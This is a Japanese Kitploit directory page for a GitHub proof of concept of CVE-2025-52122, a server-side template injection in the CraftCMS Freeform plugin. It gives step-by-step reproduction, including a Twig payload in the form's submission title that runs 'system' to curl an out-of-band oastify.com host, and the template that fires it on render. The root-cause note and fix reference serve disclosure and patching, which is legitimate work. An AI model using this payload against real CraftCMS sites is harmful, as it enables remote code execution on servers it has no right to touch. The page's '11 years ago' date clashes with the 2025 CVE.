Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-52122 — CraftCMS Freeform 5.0.0 < 5.10.16 における任意コードインジェクション | Kitploit
ツール/GitHubGitHub/timtrademark/cve-2025-52122
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubtimtrademark/cve-2025-52122

CVE-2025-52122

CraftCMS Freeform 5.0.0 < 5.10.16 における任意コードインジェクション

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE CraftCMS Freeform

CraftCMS Freeform には SSTI の脆弱性が存在し、フォーム(送信タイトル)の編集アクセス権を持つすべてのユーザーに対して任意のコードインジェクションが可能になります。

影響を受けるバージョンは v5.0.0 < v5.10.16 です。

再現手順

フォームを作成:

フォームを作成

ここでは概念実証としてフォーム「pentest」を作成しました。次に、設定で次の送信タイトルを設定します(ドメイン名は自分のサーバーに変更してください):

root@kitploit:~
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

送信タイトル

これにより任意のシステムコールが実行されます。この例では、管理下にあるサーバーへ curl を実行し、着信接続があった場合に通知を受けるようにしています。 次に、このフォームをテンプレート/ページに含めて送信します:

root@kitploit:~
<h1>test</h1>
{% set form = freeform.form('pentest') %}

{% if form %}
  {{ form.render() }}
{% else %}
  <p>Form not found.</p>
{% endif %}

これにより curl コマンドが呼び出されます。作成された受信 HTTP リクエストを確認することで検証できます:

受信接続

この問題の根本原因は、Freeform がユーザー入力を検証せずに "call" Twig フィルターを実装していることです。これは次の コミット で修正されました。

ツールをダウンロード